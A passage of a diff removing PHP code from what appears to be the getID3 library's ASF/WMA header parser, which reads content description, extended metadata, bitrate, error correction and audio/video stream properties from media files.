127 - - // shortcut - $thisfile_asf['bitrate_mutual_exclusion_object'] = array(); - $thisfile_asf_bitratemutualexclusionobject = &$thisfile_asf['bitrate_mutual_exclusion_object']; - - $thisfile_asf_bitratemutualexclusionobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_bitratemutualexclusionobject['objectid'] = $NextObjectGUID; - $thisfile_asf_bitratemutualexclusionobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_bitratemutualexclusionobject['objectsize'] = $NextObjectSize; - $thisfile_asf_bitratemutualexclusionobject['reserved'] = substr($ASFHeaderData, $offset, 16); - $thisfile_asf_bitratemutualexclusionobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']); - $offset += 16; - if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) { - $this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}'); - //return false; - break; - } - $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) { - $thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - } - break; - - case GETID3_ASF_Error_Correction_Object: - // Error Correction Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object - // Object Size QWORD 64 // size of Error Correction object, including 44 bytes of Error Correction Object header - // Error Correction Type GUID 128 // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread) - // Error Correction Data Length DWORD 32 // number of bytes in Error Correction Data field - // Error Correction Data BYTESTREAM variable // structure depends on value of Error Correction Type field - - // shortcut - $thisfile_asf['error_correction_object'] = array(); - $thisfile_asf_errorcorrectionobject = &$thisfile_asf['error_correction_object']; - - $thisfile_asf_errorcorrectionobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_errorcorrectionobject['objectid'] = $NextObjectGUID; - $thisfile_asf_errorcorrectionobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_errorcorrectionobject['objectsize'] = $NextObjectSize; - $thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16); - $offset += 16; - $thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']); - $thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) { - case GETID3_ASF_No_Error_Correction: - // should be no data, but just in case there is, skip to the end of the field - $offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length']; - break; - - case GETID3_ASF_Audio_Spread: - // Field Name Field Type Size (bits) - // Span BYTE 8 // number of packets over which audio will be spread. - // Virtual Packet Length WORD 16 // size of largest audio payload found in audio stream - // Virtual Chunk Length WORD 16 // size of largest audio payload found in audio stream - // Silence Data Length WORD 16 // number of bytes in Silence Data field - // Silence Data BYTESTREAM variable // hardcoded: 0x00 * (Silence Data Length) bytes - - $thisfile_asf_errorcorrectionobject['span'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1)); - $offset += 1; - $thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_errorcorrectionobject['virtual_chunk_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_errorcorrectionobject['silence_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_errorcorrectionobject['silence_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']); - $offset += $thisfile_asf_errorcorrectionobject['silence_data_length']; - break; - - default: - $this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}'); - //return false; - break; - } - - break; - - case GETID3_ASF_Content_Description_Object: - // Content Description Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Content Description object - GETID3_ASF_Content_Description_Object - // Object Size QWORD 64 // size of Content Description object, including 34 bytes of Content Description Object header - // Title Length WORD 16 // number of bytes in Title field - // Author Length WORD 16 // number of bytes in Author field - // Copyright Length WORD 16 // number of bytes in Copyright field - // Description Length WORD 16 // number of bytes in Description field - // Rating Length WORD 16 // number of bytes in Rating field - // Title WCHAR 16 // array of Unicode characters - Title - // Author WCHAR 16 // array of Unicode characters - Author - // Copyright WCHAR 16 // array of Unicode characters - Copyright - // Description WCHAR 16 // array of Unicode characters - Description - // Rating WCHAR 16 // array of Unicode characters - Rating - - // shortcut - $thisfile_asf['content_description_object'] = array(); - $thisfile_asf_contentdescriptionobject = &$thisfile_asf['content_description_object']; - - $thisfile_asf_contentdescriptionobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_contentdescriptionobject['objectid'] = $NextObjectGUID; - $thisfile_asf_contentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_contentdescriptionobject['objectsize'] = $NextObjectSize; - $thisfile_asf_contentdescriptionobject['title_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_contentdescriptionobject['author_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_contentdescriptionobject['copyright_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_contentdescriptionobject['description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_contentdescriptionobject['rating_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_contentdescriptionobject['title'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']); - $offset += $thisfile_asf_contentdescriptionobject['title_length']; - $thisfile_asf_contentdescriptionobject['author'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']); - $offset += $thisfile_asf_contentdescriptionobject['author_length']; - $thisfile_asf_contentdescriptionobject['copyright'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']); - $offset += $thisfile_asf_contentdescriptionobject['copyright_length']; - $thisfile_asf_contentdescriptionobject['description'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']); - $offset += $thisfile_asf_contentdescriptionobject['description_length']; - $thisfile_asf_contentdescriptionobject['rating'] = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']); - $offset += $thisfile_asf_contentdescriptionobject['rating_length']; - - $ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating'); - foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) { - if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) { - $thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]); - } - } - break; - - case GETID3_ASF_Extended_Content_Description_Object: - // Extended Content Description Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object - // Object Size QWORD 64 // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header - // Content Descriptors Count WORD 16 // number of entries in Content Descriptors list - // Content Descriptors array of: variable // - // * Descriptor Name Length WORD 16 // size in bytes of Descriptor Name field - // * Descriptor Name WCHAR variable // array of Unicode characters - Descriptor Name - // * Descriptor Value Data Type WORD 16 // Lookup array: - // 0x0000 = Unicode String (variable length) - // 0x0001 = BYTE array (variable length) - // 0x0002 = BOOL (DWORD, 32 bits) - // 0x0003 = DWORD (DWORD, 32 bits) - // 0x0004 = QWORD (QWORD, 64 bits) - // 0x0005 = WORD (WORD, 16 bits) - // * Descriptor Value Length WORD 16 // number of bytes stored in Descriptor Value field - // * Descriptor Value variable variable // value for Content Descriptor - - // shortcut - $thisfile_asf['extended_content_description_object'] = array(); - $thisfile_asf_extendedcontentdescriptionobject = &$thisfile_asf['extended_content_description_object']; - - $thisfile_asf_extendedcontentdescriptionobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_extendedcontentdescriptionobject['objectid'] = $NextObjectGUID; - $thisfile_asf_extendedcontentdescriptionobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_extendedcontentdescriptionobject['objectsize'] = $NextObjectSize; - $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) { - // shortcut - $thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array(); - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter]; - - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset'] = $offset + 30; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']); - $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']); - $offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']; - switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { - case 0x0000: // Unicode string - break; - - case 0x0001: // BYTE array - // do nothing - break; - - case 0x0002: // BOOL - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - break; - - case 0x0003: // DWORD - case 0x0004: // QWORD - case 0x0005: // WORD - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - break; - - default: - $this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')'); - //return false; - break; - } - switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) { - - case 'wm/albumartist': - case 'artist': - // Note: not 'artist', that comes from 'author' tag - $thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'wm/albumtitle': - case 'album': - $thisfile_asf_comments['album'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'wm/genre': - case 'genre': - $thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'wm/partofset': - $thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'wm/tracknumber': - case 'tracknumber': - // be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character) - $thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - foreach ($thisfile_asf_comments['track_number'] as $key => $value) { - if (preg_match('/^[0-9\x00]+$/', $value)) { - $thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value)); - } - } - break; - - case 'wm/track': - if (empty($thisfile_asf_comments['track_number'])) { - $thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - } - break; - - case 'wm/year': - case 'year': - case 'date': - $thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'wm/lyrics': - case 'lyrics': - $thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - break; - - case 'isvbr': - if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) { - $thisfile_audio['bitrate_mode'] = 'vbr'; - $thisfile_video['bitrate_mode'] = 'vbr'; - } - break; - - case 'id3': - $this->getid3->include_module('tag.id3v2'); - - $getid3_id3v2 = new getid3_id3v2($this->getid3); - $getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - unset($getid3_id3v2); - - if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) { - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = ''; - } - break; - - case 'wm/encodingtime': - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - $thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']); - break; - - case 'wm/picture': - $WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - foreach ($WMpicture as $key => $value) { - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value; - } - unset($WMpicture); -/* - $wm_picture_offset = 0; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1)); - $wm_picture_offset += 1; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type'] = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']); - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4)); - $wm_picture_offset += 4; - - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; - do { - $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); - $wm_picture_offset += 2; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair; - } while ($next_byte_pair !== "\x00\x00"); - - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = ''; - do { - $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); - $wm_picture_offset += 2; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair; - } while ($next_byte_pair !== "\x00\x00"); - - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset; - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset); - unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); - - $imageinfo = array(); - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; - $imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo); - unset($imageinfo); - if (!empty($imagechunkcheck)) { - $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); - } - if (!isset($thisfile_asf_comments['picture'])) { - $thisfile_asf_comments['picture'] = array(); - } - $thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']); -*/ - break; - - default: - switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { - case 0: // Unicode string - if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') { - $thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); - } - break; - - case 1: - break; - } - break; - } - - } - break; - - case GETID3_ASF_Stream_Bitrate_Properties_Object: - // Stream Bitrate Properties Object: (optional, one only) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object - // Object Size QWORD 64 // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header - // Bitrate Records Count WORD 16 // number of records in Bitrate Records - // Bitrate Records array of: variable // - // * Flags WORD 16 // - // * * Stream Number bits 7 (0x007F) // number of this stream - // * * Reserved bits 9 (0xFF80) // hardcoded: 0 - // * Average Bitrate DWORD 32 // in bits per second - - // shortcut - $thisfile_asf['stream_bitrate_properties_object'] = array(); - $thisfile_asf_streambitratepropertiesobject = &$thisfile_asf['stream_bitrate_properties_object']; - - $thisfile_asf_streambitratepropertiesobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_streambitratepropertiesobject['objectid'] = $NextObjectGUID; - $thisfile_asf_streambitratepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_streambitratepropertiesobject['objectsize'] = $NextObjectSize; - $thisfile_asf_streambitratepropertiesobject['bitrate_records_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { - $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); - $offset += 2; - $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F; - $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); - $offset += 4; - } - break; - - case GETID3_ASF_Padding_Object: - // Padding Object: (optional) - // Field Name Field Type Size (bits) - // Object ID GUID 128 // GUID for Padding object - GETID3_ASF_Padding_Object - // Object Size QWORD 64 // size of Padding object, including 24 bytes of ASF Padding Object header - // Padding Data BYTESTREAM variable // ignore - - // shortcut - $thisfile_asf['padding_object'] = array(); - $thisfile_asf_paddingobject = &$thisfile_asf['padding_object']; - - $thisfile_asf_paddingobject['offset'] = $NextObjectOffset + $offset; - $thisfile_asf_paddingobject['objectid'] = $NextObjectGUID; - $thisfile_asf_paddingobject['objectid_guid'] = $NextObjectGUIDtext; - $thisfile_asf_paddingobject['objectsize'] = $NextObjectSize; - $thisfile_asf_paddingobject['padding_length'] = $thisfile_asf_paddingobject['objectsize'] - 16 - 8; - $thisfile_asf_paddingobject['padding'] = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']); - $offset += ($NextObjectSize - 16 - 8); - break; - - case GETID3_ASF_Extended_Content_Encryption_Object: - case GETID3_ASF_Content_Encryption_Object: - // WMA DRM - just ignore - $offset += ($NextObjectSize - 16 - 8); - break; - - default: - // Implementations shall ignore any standard or non-standard object that they do not know how to handle. - if ($this->GUIDname($NextObjectGUIDtext)) { - $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); - } else { - $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); - } - $offset += ($NextObjectSize - 16 - 8); - break; - } - } - if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) { - $ASFbitrateAudio = 0; - $ASFbitrateVideo = 0; - for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { - if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) { - switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) { - case 1: - $ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; - break; - - case 2: - $ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; - break; - - default: - // do nothing - break; - } - } - } - if ($ASFbitrateAudio > 0) { - $thisfile_audio['bitrate'] = $ASFbitrateAudio; - } - if ($ASFbitrateVideo > 0) { - $thisfile_video['bitrate'] = $ASFbitrateVideo; - } - } - if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) { - - $thisfile_audio['bitrate'] = 0; - $thisfile_video['bitrate'] = 0; - - foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) { - - switch ($streamdata['stream_type']) { - case GETID3_ASF_Audio_Media: - // Field Name Field Type Size (bits) - // Codec ID / Format Tag WORD 16 // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure - // Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure - // Samples Per Second DWORD 32 // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure - // Average number of Bytes/sec DWORD 32 // bytes/sec of audio stream - defined as nAvgBytesPerSec field of WAVEFORMATEX structure - // Block Alignment WORD 16 // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure - // Bits per sample WORD 16 // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure - // Codec Specific Data Size WORD 16 // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure - // Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes - - // shortcut - $thisfile_asf['audio_media'][$streamnumber] = array(); - $thisfile_asf_audiomedia_currentstream = &$thisfile_asf['audio_media'][$streamnumber]; - - $audiomediaoffset = 0; - - $thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16)); - $audiomediaoffset += 16; - - $thisfile_audio['lossless'] = false; - switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) { - case 0x0001: // PCM - case 0x0163: // WMA9 Lossless - $thisfile_audio['lossless'] = true; - break; - } - - if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { - foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { - if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { - $thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate']; - $thisfile_audio['bitrate'] += $dataarray['bitrate']; - break; - } - } - } else { - if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) { - $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8; - } elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) { - $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate']; - } - } - $thisfile_audio['streams'][$streamnumber] = $thisfile_asf_audiomedia_currentstream; - $thisfile_audio['streams'][$streamnumber]['wformattag'] = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']; - $thisfile_audio['streams'][$streamnumber]['lossless'] = $thisfile_audio['lossless']; - $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; - $thisfile_audio['streams'][$streamnumber]['dataformat'] = 'wma'; - unset($thisfile_audio['streams'][$streamnumber]['raw']); - - $thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2)); - $audiomediaoffset += 2; - $thisfile_asf_audiomedia_currentstream['codec_data'] = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']); - $audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size']; - - break; - - case GETID3_ASF_Video_Media: - // Field Name Field Type Size (bits) - // Encoded Image Width DWORD 32 // width of image in pixels - // Encoded Image Height DWORD 32 // height of image in pixels - // Reserved Flags BYTE 8 // hardcoded: 0x02 - // Format Data Size WORD 16 // size of Format Data field in bytes - // Format Data array of: variable // - // * Format Data Size DWORD 32 // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure - // * Image Width LONG 32 // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure - // * Image Height LONG 32 // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure - // * Reserved WORD 16 // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure - // * Bits Per Pixel Count WORD 16 // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure - // * Compression ID FOURCC 32 // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure - // * Image Size DWORD 32 // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure - // * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure - // * Vertical Pixels / Meter DWORD 32 // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure - // * Colors Used Count DWORD 32 // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure - // * Important Colors Count DWORD 32 // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure - // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes - - // shortcut - $thisfile_asf['video_media'][$streamnumber] = array(); - $thisfile_asf_videomedia_currentstream = &$thisfile_asf['video_media'][$streamnumber]; - - $videomediaoffset = 0; - $thisfile_asf_videomedia_currentstream['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['flags'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1)); - $videomediaoffset += 1; - $thisfile_asf_videomedia_currentstream['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); - $videomediaoffset += 2; - $thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); - $videomediaoffset += 4; - $thisfile_asf_videomedia_currentstream['format_data']['reserved'] = 